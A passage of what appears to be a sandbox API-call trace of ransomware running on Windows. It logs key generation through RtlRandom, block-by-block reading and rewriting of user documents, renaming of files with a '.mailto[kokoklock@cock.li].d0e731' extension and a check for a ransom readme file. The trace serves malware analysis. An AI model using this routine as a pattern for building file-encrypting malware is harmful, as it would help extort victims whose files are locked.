Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0xc30c0147 [0174.545] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0xe9187b87 [0174.545] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0xf2117bcf [0174.545] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0xbd438d7d [0174.545] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0xca57e9e0 [0174.545] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0xfbe6b4d0 [0174.546] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0x88748dd1 [0174.546] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0x7dbdf11a [0174.546] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0x1c1e06d9 [0174.546] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0x8c24c67d [0174.546] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0xe71b73df [0174.546] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0x3f8569ca [0174.546] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0x42320071 [0174.546] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0x1dcdfe7b [0174.546] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0x87c3f769 [0174.546] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0x1bc066e5 [0174.546] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0x847c361 [0174.546] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0x21936a4b [0174.546] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0xc60988de [0174.546] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0xdd172d4f [0174.557] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.557] ReadFile (in: hFile=0x928, lpBuffer=0x4ef0048, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x12eefb30, lpOverlapped=0x0 | out: lpBuffer=0x4ef0048*, lpNumberOfBytesRead=0x12eefb30*=0x4096, lpOverlapped=0x0) returned 1 [0174.558] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.558] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0174.558] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013530 [0174.558] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0174.558] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0174.558] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4ef40e8 [0174.559] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0174.559] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054280 [0174.559] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054280) returned 1 [0174.559] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013530) returned 1 [0174.559] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0174.559] WriteFile (in: hFile=0x928, lpBuffer=0x4ef40e8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x12eefb30, lpOverlapped=0x0 | out: lpBuffer=0x4ef40e8*, lpNumberOfBytesWritten=0x12eefb30*=0x4096, lpOverlapped=0x0) returned 1 [0174.559] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4ef40e8) returned 1 [0174.559] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x12f31, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.559] WriteFile (in: hFile=0x928, lpBuffer=0x3053d30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12eefb68, lpOverlapped=0x0 | out: lpBuffer=0x3053d30*, lpNumberOfBytesWritten=0x12eefb68*=0x20, lpOverlapped=0x0) returned 1 [0174.559] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0174.560] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4ef0048) returned 1 [0174.560] WriteFile (in: hFile=0x928, lpBuffer=0x3053d80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x12eefb7c, lpOverlapped=0x0 | out: lpBuffer=0x3053d80*, lpNumberOfBytesWritten=0x12eefb7c*=0x8, lpOverlapped=0x0) returned 1 [0174.560] WriteFile (in: hFile=0x928, lpBuffer=0x12eefb94*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12eefb7c, lpOverlapped=0x0 | out: lpBuffer=0x12eefb94*, lpNumberOfBytesWritten=0x12eefb7c*=0x4, lpOverlapped=0x0) returned 1 [0174.560] WriteFile (in: hFile=0x928, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12eefb7c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x12eefb7c*=0x4, lpOverlapped=0x0) returned 1 [0174.560] WriteFile (in: hFile=0x928, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x12eefb7c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x12eefb7c*=0x6c, lpOverlapped=0x0) returned 1 [0174.560] WriteFile (in: hFile=0x928, lpBuffer=0x3053da8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12eefb7c, lpOverlapped=0x0 | out: lpBuffer=0x3053da8*, lpNumberOfBytesWritten=0x12eefb7c*=0x20, lpOverlapped=0x0) returned 1 [0174.560] WriteFile (in: hFile=0x928, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12eefb7c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x12eefb7c*=0x4, lpOverlapped=0x0) returned 1 [0174.560] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053da8) returned 1 [0174.561] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d58) returned 1 [0174.561] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d80) returned 1 [0174.561] CloseHandle (hObject=0x928) returned 1 [0174.561] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xda) returned 0x2f98890 [0174.561] wcscpy (in: _Dest=0x2f98890, _Source="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731" [0174.561] wcscat (in: _Dest=0x2f98890, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0174.561] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\ui4vxjzp38c.pptx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\ui4vxjzp38c.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0174.562] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.562] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98890) returned 1 [0174.562] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.562] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87a90 [0174.562] wcscpy (in: _Dest=0x2f87a90, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0174.562] wcscat (in: _Dest=0x2f87a90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0174.562] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0174.563] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87a90) returned 1 [0174.563] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3180) returned 1 [0174.563] RtlExitUserThread (Status=0x1) Thread: id = 1922 os_tid = 0xd4c [0170.704] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\UucwU.pps.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\uucwu.pps.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.524] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\UucwU.pps.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.525] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\UucwU.pps.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\uucwu.pps.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x928 [0174.525] GetFileSizeEx (in: hFile=0x928, lpFileSize=0x12f6fdd0 | out: lpFileSize=0x12f6fdd0*=34416) returned 1 [0174.525] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x866c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.525] ReadFile (in: hFile=0x928, lpBuffer=0x12f6fda4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12f6fda0, lpOverlapped=0x0 | out: lpBuffer=0x12f6fda4*, lpNumberOfBytesRead=0x12f6fda0*=0x4, lpOverlapped=0x0) returned 1 [0174.526] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.526] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0174.526] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053da8 [0174.526] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053e98 [0174.526] NtQuerySystemTime (in: CurrentTime=0x12f6fd7c | out: CurrentTime=0x12f6fd7c*=132121213318420477) returned 0x0 [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0xc8963f04 [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0xe05650c3 [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0xba15f4b1 [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0x772ec93 [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0x8c9f223f [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0xb1ba20b6 [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0x34728da5 [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0xb93beefe [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0xd63eca4f [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0xe9a7f2bd [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0x196d560b [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0x8afaa25 [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0x2731b5f5 [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0x53d0fc44 [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0x8ce18381 [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0x65c51312 [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0xfa62e3d5 [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0xab1a9f82 [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0x1508fd2f [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0x91e77dde [0174.526] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0x100229d1 [0174.527] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0x73afced8 [0174.527] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0xae67bf3 [0174.527] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0xd1e75d9d [0174.527] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0xf65eac1 [0174.527] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0x1c98ce8b [0174.527] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0x522a9111 [0174.527] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0x324f5664 [0174.527] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0xd37098 [0174.527] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0x9ed5993d [0174.527] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0xbc088ad4 [0174.527] RtlRandom (in: Seed=0x12f6fd88 | out: Seed=0x12f6fd88) returned 0xe08ce7b5 [0174.537] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.537] ReadFile (in: hFile=0x928, lpBuffer=0x4ef0048, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x12f6fd54, lpOverlapped=0x0 | out: lpBuffer=0x4ef0048*, lpNumberOfBytesRead=0x12f6fd54*=0x4096, lpOverlapped=0x0) returned 1 [0174.538] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.538] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0174.538] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013530 [0174.538] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0174.538] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fb0) returned 1 [0174.538] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4ef40e8 [0174.538] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0174.538] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0174.538] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fb0) returned 1 [0174.539] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013530) returned 1 [0174.539] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0174.539] WriteFile (in: hFile=0x928, lpBuffer=0x4ef40e8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x12f6fd54, lpOverlapped=0x0 | out: lpBuffer=0x4ef40e8*, lpNumberOfBytesWritten=0x12f6fd54*=0x4096, lpOverlapped=0x0) returned 1 [0174.539] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4ef40e8) returned 1 [0174.539] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x8670, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.539] WriteFile (in: hFile=0x928, lpBuffer=0x3053d30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12f6fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3053d30*, lpNumberOfBytesWritten=0x12f6fd8c*=0x20, lpOverlapped=0x0) returned 1 [0174.539] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0174.539] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4ef0048) returned 1 [0174.540] WriteFile (in: hFile=0x928, lpBuffer=0x3053d80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x12f6fda0, lpOverlapped=0x0 | out: lpBuffer=0x3053d80*, lpNumberOfBytesWritten=0x12f6fda0*=0x8, lpOverlapped=0x0) returned 1 [0174.540] WriteFile (in: hFile=0x928, lpBuffer=0x12f6fdb8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12f6fda0, lpOverlapped=0x0 | out: lpBuffer=0x12f6fdb8*, lpNumberOfBytesWritten=0x12f6fda0*=0x4, lpOverlapped=0x0) returned 1 [0174.540] WriteFile (in: hFile=0x928, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12f6fda0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x12f6fda0*=0x4, lpOverlapped=0x0) returned 1 [0174.540] WriteFile (in: hFile=0x928, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x12f6fda0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x12f6fda0*=0x6c, lpOverlapped=0x0) returned 1 [0174.540] WriteFile (in: hFile=0x928, lpBuffer=0x3053da8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12f6fda0, lpOverlapped=0x0 | out: lpBuffer=0x3053da8*, lpNumberOfBytesWritten=0x12f6fda0*=0x20, lpOverlapped=0x0) returned 1 [0174.540] WriteFile (in: hFile=0x928, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12f6fda0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x12f6fda0*=0x4, lpOverlapped=0x0) returned 1 [0174.540] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053da8) returned 1 [0174.540] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d58) returned 1 [0174.540] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d80) returned 1 [0174.540] CloseHandle (hObject=0x928) returned 1 [0174.541] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff17a8 [0174.541] wcscpy (in: _Dest=0x2ff17a8, _Source="C:\\Users\\FD1HVy\\Documents\\UucwU.pps.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\UucwU.pps.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\UucwU.pps.mailto[kokoklock@cock.li].d0e731" [0174.541] wcscat (in: _Dest=0x2ff17a8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\UucwU.pps.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\UucwU.pps.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0174.541] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\UucwU.pps.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\uucwu.pps.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\UucwU.pps.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\uucwu.pps.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0174.542] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\UucwU.pps.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.542] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff17a8) returned 1 [0174.542] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\UucwU.pps.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.542] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87a90 [0174.542] wcscpy (in: _Dest=0x2f87a90, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0174.542] wcscat (in: _Dest=0x2f87a90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0174.542] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0174.542] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87a90) returned 1 [0174.542] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4e40) returned 1 [0174.542] RtlExitUserThread (Status=0x1) Thread: id = 1923 os_tid = 0xc60 [0170.705] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\wapGA.ods.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\wapga.ods.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.498] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\wapGA.ods.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.498] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\wapGA.ods.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\wapga.ods.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x928 [0174.498] GetFileSizeEx (in: hFile=0x928, lpFileSize=0x12fef8c4 | out: lpFileSize=0x12fef8c4*=5305) returned 1 [0174.498] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x14b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.498] ReadFile (in: hFile=0x928, lpBuffer=0x12fef898, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12fef894, lpOverlapped=0x0 | out: lpBuffer=0x12fef898*, lpNumberOfBytesRead=0x12fef894*=0x4, lpOverlapped=0x0) returned 1 [0174.499] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.499] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0174.499] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053da8 [0174.499] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053e70 [0174.499] NtQuerySystemTime (in: CurrentTime=0x12fef870 | out: CurrentTime=0x12fef870*=132121213318108220) returned 0x0 [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x72a8d8c8 [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0xc194a573 [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x6c18913e [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0xe07f0a8b [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x76c9fa6c [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x69eedb1b [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x4732ab5e [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x97047655 [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x2fce936d [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0xafe24dfe [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x1ef7a136 [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0xaaf31856 [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x9f6a1ef [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x3a7baab0 [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x77ea2d18 [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0xc9b81f93 [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x8849ffed [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0xfbd94c5 [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0xa2e18e47 [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x74db1535 [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x6199a86e [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x421bd79d [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x4c755e40 [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x1b3a5834 [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x52147fc8 [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0xe64d3dc2 [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0xa40487c [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x386fb97f [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x16780cec [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0x25c9fe5f [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0xf4686b47 [0174.500] RtlRandom (in: Seed=0x12fef87c | out: Seed=0x12fef87c) returned 0xad8a56e5 [0174.520] ReadFile (in: hFile=0x928, lpBuffer=0x4ef0048, 